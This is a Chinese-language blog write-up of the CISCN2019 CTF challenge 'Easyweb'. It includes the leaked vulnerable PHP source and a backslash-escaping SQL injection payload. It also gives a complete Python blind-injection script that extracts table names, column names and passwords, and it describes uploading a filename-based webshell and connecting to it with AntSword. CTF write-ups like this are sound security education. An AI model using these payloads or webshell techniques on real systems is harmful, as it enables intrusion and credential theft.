[CISCN2019 总决赛 Day2 Web1]Easyweb1

31 篇文章 3 订阅
9 篇文章 0 订阅

一.前言

在之前的文章中我提到最近一直在做sql注入相关的东西,也在一直做sql注入有关的题目。但是,事实上很多赛题他们的考点并不单一,往往需要结合着其他的知识,才能够拿到想要的结果。下面这道题就是我刚才所说的典型,虽然考的不难,但是足够说明当前sql题目的走向了。

二.正文

我们首先打开环境看到如下页面。
在这里插入图片描述
emmm,一个花里胡哨的登陆界面。尝试输入了很多用户名和密码组合,但是都不对。那就去扫一下目录,发现该网站存在一个robots.txt
请添加图片描述
这个robots文件中的内容就是在提示我们,该网站含有备份文件。(其实只要你的字典很对的的话,这一步可以省略,因为目录遍历脚本是可以跑出来的)。
那么,咱么去下载备份文件image.php.bak
得到下面的代码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以看到其中有一个addslashes()函数,还不懂这个函数的朋友们,可以看下面这个截图。
在这里插入图片描述
他会在预定义的字符的前面加上反斜杠,也就是我们如果输入\那么他就会给我们输出\\。看到php文件中有个sql语句,第一反应一定是要想如何拼接这个语句才能让这个语句为我们所用。因为反斜杠可以转义字符,也就是说我们我们如果让反斜杠在传入的参数中单独出现,我们就可以破环原本的语句结构,从而实现注入。
为此,请考虑如下语句。

select * from images where id='\' or path='{$path}'

上面的语句会发生什么?
本属于id参数的第二个引号被转义了,导致path参数的第一个引号成为了id参数的闭合引号致使id的参数为' or path=。在这种情况下,{$path}这个参数我们就可以随便加入我们想要的sql语句了。
那么,我们如何构造id的传参呢?直接传反斜杠是不可行的,因为存在addslashes()。这时候就要巧妙地利用str_replace()函数来帮我们来完成这一操作。
我们此时注意到,str_replace()的第一个参数有\\0,当然在代码中第一个反斜杠往往用于转义字符。所以说,str_replace函数这里替换的字符应该是\0我们如果传入的参数是\0,那么首先他会经过addslashes(),然后就变成了\\0,这个时候再由str_replace进行替换,id参数就成为了\,也就是达到了我们的目的。
让我们来尝试一下:
payload如下

image.php?id=\0&path=%20or%20ascii(substr((select(database())),1,1))>1%23

这样构造的payload是永真的,因为database的首字母ascii一定大于1。
请添加图片描述
ok,这说明我们的思路是没有的问题的,可以直接动手开始写exp了。
不过再给出我的exp之前,我还是要给出burp的抓包结果,以便说明,我们盲注的判断条件。
请添加图片描述
可以看到数据包返回的是十六进制的内容无法正常显示,但是我们还是能根据文件头中的JFIF来判断注入是否成功。
那么直接exp吧。(根据自己的需要更换payload,下面会有关于exp的解释)

import requests
import time

def start_ascii():
    database_name = ""
    # table_name = ""
    # column_name = ""
    url = "http://d6622b71-49e1-489b-9249-b78a159c3beb.node4.buuoj.cn:81/image.php?id=\\0&path=%20or%20"
    for i in range(1,300):
        low = 32
        high = 128
        mid = (low + high)//2
        while(low < high):
            # payload = "ascii(substr((select(database())),{},1))>{}%23".format(i,mid)
            payload = "ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),{},1))>{}%23".format(i, mid)
            # payload = "ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))),{},1))>{}%23".format(i, mid)
            # payload = "ascii(substr((select(group_concat(password))from(users)),{},1))>{}%23".format(i, mid)
            res = requests.get(url + payload)
            if 'JFIF' in res.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high)//2
            # 跳出循环
        if mid == 32 or mid == 127:
            break
        database_name = database_name + chr(mid)
        # table_name = table_name + chr(mid)
        # column_name = column_name + chr(mid)
        print(database_name)

if __name__ == "__main__":
    start_ascii()

爆表名
请添加图片描述
然后这里还有一个关键的地方,就是因为过滤了引号的缘故,所以在写爆字段名的payload的时候,我们不能直接

(table_name)=('users')

所以我们要用users的十六进制形式进行绕过。
users的十六进制形式是0x7573657273
爆列名
请添加图片描述
接下来就简单了。
爆字段(username就是admin就不贴图了)
请添加图片描述
用admin加上上面爆出的密码进行登录。
在这里插入图片描述
发现是一个文件上传点,那么直接写个一句话木马上传.
在这里插入图片描述
额。。发现有过滤。
emmm换一个方式用phtml,传上去了(惊。但是,后面蚁剑我连不上,不知道为什么.
在这里插入图片描述

上网看看怎么绕过过滤,师傅们都说可以用文件名写马,那咱们试试,但是这里一定要注意,因为在之前我们就已经测出来他在文件名上有过滤,所以我们这次应该直接用短标签写马。
请添加图片描述
然后用蚁剑连接,成功连上,但根目录下面拿到flag。
请添加图片描述

后记

怎么说呢,这道题从整体上来讲是不难的,关键点还是在于多个知识点一并的考察,其中还有一些小坑。phtml文件的上传不知为什么无法连接,到最后我也没搞明白这是怎么回事(以后再看看),但好在有后面的文件名写马,才成功的拿到了flag。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值